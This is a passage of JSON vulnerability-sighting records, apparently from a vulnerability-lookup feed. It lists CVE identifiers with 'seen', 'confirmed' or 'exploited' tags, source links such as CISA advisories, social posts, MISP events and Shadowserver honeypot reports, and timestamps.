"source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:53.000000Z"}, {"uuid": "228f3d39-9e77-4b71-a39f-be284a2e92e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48785", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lke2qgicsw2n", "content": "", "creation_timestamp": "2025-03-14T16:46:11.408225Z"}, {"uuid": "58b0d58e-7dd1-4af4-84ba-6532b92df27b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48790", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lk4nsro2eb24", "content": "", "creation_timestamp": "2025-03-11T18:06:10.999100Z"}, {"uuid": "6ec10467-8ecc-4f27-b551-14a0037049c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48785", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114162103566286961", "content": "", "creation_timestamp": "2025-03-14T18:04:17.960386Z"}, {"uuid": "7c7b1bf7-03f5-4606-a7c7-a810ea3653db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://bsky.app/profile/redteamnews.bsky.social/post/3lli5yqdqsp2c", "content": "", "creation_timestamp": "2025-03-29T01:20:18.534050Z"}, {"uuid": "6c06c48b-4255-4e78-88ac-278121b42d77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48292", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lljd74lnyi2s", "content": "", "creation_timestamp": "2025-03-29T12:26:01.704706Z"}, {"uuid": "80bc83fd-b6e1-4de4-b229-7bd3d344a474", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "MISP/d7168461-fec2-4f03-a1ae-005f581e0546", "content": "", "creation_timestamp": "2025-06-19T20:17:38.000000Z"}, {"uuid": "d0571cb0-1a62-42c6-b571-78ed52b0c006", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://gist.github.com/yescurvyswab/ab2b67bdc7c520d9abc595d36ac438f8", "content": "", "creation_timestamp": "2025-07-13T05:36:28.000000Z"}, {"uuid": "08313220-5373-4695-9ba9-f0c339187f9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4807", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-02", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "d03213b7-97e8-4431-8df0-ac8b1853260e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48726", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lqbm5w2m3k2w", "content": "", "creation_timestamp": "2025-05-29T01:51:06.310631Z"}, {"uuid": "5af6c723-377f-4ca2-806b-650176eab81e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114863085610968286", "content": "", "creation_timestamp": "2025-07-16T13:13:15.433523Z"}, {"uuid": "91da8ed7-5966-44d3-b8b4-8fb01fc7207b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-105-08", "content": "", "creation_timestamp": "2025-04-15T10:00:00.000000Z"}, {"uuid": "cdac062d-4309-4479-a37d-e6fcbbbdb871", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2023/CVE-2023-48022.yaml", "content": "", "creation_timestamp": "2025-06-22T09:14:30.000000Z"}, {"uuid": "9a5f8487-9c62-4182-97e8-97491d96ec03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48978", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsbygfgjzi2a", "content": "", "creation_timestamp": "2025-06-23T16:20:57.158546Z"}, {"uuid": "0f672fad-38e0-4854-91de-fd385b1441c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://bsky.app/profile/ccitic.bsky.social/post/3ltuj5qatqs2f", "content": "", "creation_timestamp": "2025-07-13T18:33:08.035549Z"}, {"uuid": "19a2d175-7e34-44bf-8d13-71761aa59410", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4806", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-05", "content": "", "creation_timestamp": "2025-06-12T10:00:00.000000Z"}, {"uuid": "51c9c25e-3a29-4293-9d85-117d527c914a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-05", "content": "", "creation_timestamp": "2025-06-12T10:00:00.000000Z"}, {"uuid": "179470bc-09ef-4a9e-9662-4a33b1ccb6c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3ltzz66pfnp2h", "content": "", "creation_timestamp": "2025-07-15T23:03:20.853504Z"}, {"uuid": "90f5e581-0917-4aa4-b0bb-e40599977bef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://gist.github.com/parsifail/f0396b2b7d02b4675619e90543b8aa4b", "content": "", "creation_timestamp": "2025-05-03T17:39:28.000000Z"}, {"uuid": "a3b3495c-99de-4af7-a926-96da96042375", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://gist.github.com/esmaeelE/88caa9febeb9d42044e03684d2ebb366", "content": "", "creation_timestamp": "2025-05-26T08:55:41.000000Z"}, {"uuid": "ec1311ce-a08c-448a-b569-2a28fdc48221", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://bsky.app/profile/redteamnews.bsky.social/post/3loncs4zqta2h", "content": "", "creation_timestamp": "2025-05-08T06:44:59.349309Z"}, {"uuid": "4204d158-4b01-4c3f-bd0f-5757375424c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://gist.github.com/Muhammed762729/335ce665aefa951f8b537df6d7b648ce", "content": "", "creation_timestamp": "2025-06-07T09:06:10.000000Z"}, {"uuid": "034702ee-e25a-48d5-a8d1-4688da5ffbf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://gist.github.com/keegars/14170d61b201dc6f56f3f6a77c1d108e", "content": "", "creation_timestamp": "2025-05-12T10:37:34.000000Z"}, {"uuid": "12ce9d41-2c31-4869-b7a5-d10965e02a54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://gist.github.com/tommytri/c0666a0cf87ae4047d7f628e1a62bdd4", "content": "", "creation_timestamp": "2025-06-26T15:00:32.000000Z"}, {"uuid": "dd0ce614-0934-4a85-a296-c598b62fab12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lseymli5zk2o", "content": "", "creation_timestamp": "2025-06-24T21:02:27.828739Z"}, {"uuid": "fedd493e-a48d-4dc8-b51b-139c4bf9ec52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb", "content": "", "creation_timestamp": "2024-04-19T19:35:28.000000Z"}, {"uuid": "aa7298c5-25b7-447d-a4fb-241e0502b829", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:01.000000Z"}, {"uuid": "fb934e8f-27c7-4b6e-9911-324d9d01de40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:02.000000Z"}, {"uuid": "0c94ef44-e6e8-4ed9-a537-f31200f78f89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48733", "type": "seen", "source": "https://gist.github.com/Darkcrai86/b861c3e1510631768186c8747c97ad5c", "content": "", "creation_timestamp": "2025-10-14T13:54:40.000000Z"}, {"uuid": "72280fa8-adf6-4d6d-a75e-2406dd375514", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/853ff921-86fb-463b-bc2a-2860bf336b81", "content": "", "creation_timestamp": "2025-08-06T01:04:20.000000Z"}, {"uuid": "a3fd2350-b6f6-4494-8c1e-dd03a73268b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48409", "type": "seen", "source": "https://bsky.app/profile/0xor0ne.bsky.social/post/3lvsk352tjs2r", "content": "", "creation_timestamp": "2025-08-07T10:35:06.788148Z"}, {"uuid": "86fdd13e-f1b4-4f7f-8577-ddb0f96fc9dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115578595447482355", "content": "", "creation_timestamp": "2025-11-19T21:56:48.753670Z"}, {"uuid": "d9fdf1ff-5849-4065-a1bc-831008c88a7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/115607090943829816", "content": "", "creation_timestamp": "2025-11-24T22:43:35.172896Z"}, {"uuid": "5ebc2263-950f-4c21-8471-39301bf5c4d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-153951b5-c9bbf32cbc4d4ad4", "content": "", "creation_timestamp": "2025-10-07T17:02:47.642168Z"}, {"uuid": "ad7b694d-9694-44e9-b42d-bfc7380ce580", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://gist.github.com/Darkcrai86/2f5da7656da6d9acacbf6310e5ce64a5", "content": "", "creation_timestamp": "2025-09-22T16:23:25.000000Z"}, {"uuid": "30bd34ee-308e-40fb-941a-4a7226039326", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "https://threatintel.cc/2025/11/24/shadowray-turns-ai-clusters-into.html", "content": "", "creation_timestamp": "2025-11-24T21:43:42.000000Z"}, {"uuid": "1735bc31-bfa2-4476-871c-612e7fcac2e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48691", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-25", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "ab5bd048-250b-4d40-ac23-9db13b2f324b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48692", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-25", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "57de147c-ec39-4b44-8ca5-db129d569c2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48693", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-226-25", "content": "", "creation_timestamp": "2025-08-14T10:00:00.000000Z"}, {"uuid": "d29ec23c-6297-408a-9a06-ad079a93de8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://bsky.app/profile/secqube.com/post/3m4hu6u2xha2p", "content": "", "creation_timestamp": "2025-10-31T06:33:04.134821Z"}, {"uuid": "47a57fff-3f12-459d-b7b5-1fd73da41e42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3m4otv22amr2r", "content": "", "creation_timestamp": "2025-11-03T01:16:13.074624Z"}, {"uuid": "d7f56017-e135-497e-b3e6-46f9cd4d41dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48782", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:31.000000Z"}, {"uuid": "09c269fb-06b1-45bd-9452-0515ec0f5543", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://gist.github.com/CosasDePuma/5693efe311bb5aecbec5ca60f4a18abd", "content": "", "creation_timestamp": "2025-10-10T11:38:46.000000Z"}, {"uuid": "d9fcadb1-40d0-4221-b139-6e80eedb847f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/8263fd3f-ae50-413c-8bac-1d69abcdb7bc", "content": "", "creation_timestamp": "2025-08-21T02:29:05.000000Z"}, {"uuid": "2a7af59d-6986-453a-ae1c-3d2d2e23b6f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/853ff921-86fb-463b-bc2a-2860bf336b81", "content": "", "creation_timestamp": "2025-08-21T10:03:56.000000Z"}, {"uuid": "886b86ec-84ef-4f15-97a6-96b004703e14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "https://gist.github.com/Darkcrai86/960224462c3facef7818b9f5b080d004", "content": "", "creation_timestamp": "2025-11-20T11:59:19.000000Z"}, {"uuid": "8fc5d6a3-137d-4079-b6a9-655f579fef95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48782", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:00.000000Z"}, {"uuid": "27ce9341-d3a4-450d-8e6c-716ef487cf8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "https://bsky.app/profile/matricedigitale.bsky.social/post/3m6k5tw3f2626", "content": "", "creation_timestamp": "2025-11-26T15:21:37.845282Z"}, {"uuid": "51dc66f9-e37e-4742-87e6-b889c2a9a522", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/115576458204953182", "content": "", "creation_timestamp": "2025-11-19T12:53:16.676984Z"}, {"uuid": "2e9dc239-86c3-4faf-b7a5-b0c12ea9ea62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48220", "type": "seen", "source": "https://gist.github.com/garthcodes/5b9c5c2c9e9fec5019ec47bfdcef606d", "content": "", "creation_timestamp": "2025-10-31T16:10:45.000000Z"}, {"uuid": "2354703e-6b48-4e25-beec-cdc65f743493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "https://threatintel.cc/2025/11/19/shadowray.html", "content": "", "creation_timestamp": "2025-11-19T11:53:32.000000Z"}, {"uuid": "4a29ad04-a05f-4b83-a4b8-dd99bbdab983", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48796", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3m6oo6f2zvs2g", "content": "", "creation_timestamp": "2025-11-28T10:24:27.017316Z"}, {"uuid": "52257283-673e-41e6-9bb2-c1ae9dc9075e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48796", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q4/215", "content": "", "creation_timestamp": "2025-11-28T07:40:54.000000Z"}, {"uuid": "cc28f43a-6a67-4d19-a099-6cefca770ade", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48733", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115617256049609173", "content": "", "creation_timestamp": "2025-11-26T17:48:42.684865Z"}, {"uuid": "52faca03-ee9e-402b-aeb8-b155f1cc7d67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/ray_agent_job_rce.rb", "content": "", "creation_timestamp": "2024-08-23T09:26:17.000000Z"}, {"uuid": "5b90e134-e442-4018-b3fa-6c9fbb2bdcd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:13:11.000000Z"}, {"uuid": "1b9262ed-255c-4a4c-a24d-7cdddd4f2c80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:00:58.000000Z"}, {"uuid": "f9566adb-6800-45c3-9c4f-29357993398c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "https://infosec.exchange/users/technadu/statuses/115577521840253869", "content": "", "creation_timestamp": "2025-11-19T17:23:49.177088Z"}, {"uuid": "c79ab97f-7edc-430e-b711-d0fe9fcdaa44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-18)", "content": "", "creation_timestamp": "2025-12-18T00:00:00.000000Z"}, {"uuid": "e5f707a4-2506-4af8-912f-15c1fd89d62a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-20)", "content": "", "creation_timestamp": "2025-12-20T00:00:00.000000Z"}, {"uuid": "822f15e4-844d-4abd-9d5f-5ea355f0b286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-23)", "content": "", "creation_timestamp": "2025-12-23T00:00:00.000000Z"}, {"uuid": "35273699-79bb-49f9-be46-006e1a673b00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-25)", "content": "", "creation_timestamp": "2025-12-25T00:00:00.000000Z"}, {"uuid": "2b4737c2-bbbc-4d2b-a87c-ded0ce65d6d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-25)", "content": "", "creation_timestamp": "2025-12-25T00:00:00.000000Z"}, {"uuid": "2051a393-fb08-41d7-a1ab-c9a5ed961d3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-29)", "content": "", "creation_timestamp": "2025-12-29T00:00:00.000000Z"}, {"uuid": "469e1ce5-1b20-4ad4-b71d-466d8ea755a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mbjzcakrf72p", "content": "", "creation_timestamp": "2026-01-03T18:15:44.538299Z"}, {"uuid": "8ce705b8-88a3-4f2d-b5ad-f06617a73d7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://gist.github.com/joshua-gallagher/7857a23ba6cbeed21c5f8cfdae97cba6", "content": "", "creation_timestamp": "2026-01-07T00:49:28.000000Z"}, {"uuid": "8bcfa71f-2c9a-4531-aa6c-45fb05b5914f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/8a5d9ef7-0fae-4fcc-a606-d3701ec5f0e0", "content": "", "creation_timestamp": "2026-01-09T20:17:31.000000Z"}, {"uuid": "bc3daff0-4892-4b0c-9e35-be68229cfc67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-10)", "content": "", "creation_timestamp": "2026-01-10T00:00:00.000000Z"}, {"uuid": "85a98643-059f-4842-bae6-0386730b7966", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://gist.github.com/sebrandon1/758455dc1ea03ac2d7e445037c445895", "content": "", "creation_timestamp": "2026-02-04T22:01:28.000000Z"}, {"uuid": "c51e82bf-8fac-4629-a91f-0631626ba9ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "MISP/08b96cf8-8da4-419e-8f0e-14a931a726cb", "content": "", "creation_timestamp": "2026-04-19T16:48:55.000000Z"}, {"uuid": "fd44b04f-5879-48c1-bc28-13acc65c0130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/19c6acfb-6c90-4513-9e47-7d19fa8e81de", "content": "", "creation_timestamp": "2026-02-02T12:26:16.718481Z"}, {"uuid": "09e3b09c-9f70-41d3-91c9-5166314e8275", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3d3e4bb8-ab3a-41e0-aa6d-330eeb5f0c53", "content": "", "creation_timestamp": "2026-02-02T12:26:40.009594Z"}, {"uuid": "8c18f618-aff5-44da-bcf4-9e7b2b25152e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/aa8d5c88-3ff7-4f35-ac94-a52fe0af1d68", "content": "", "creation_timestamp": "2026-02-02T12:25:27.866632Z"}, {"uuid": "10a5bef1-121c-4780-9df5-a68a8215727d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/76c80909-1637-4aa6-be6d-eb69244d4e8b", "content": "", "creation_timestamp": 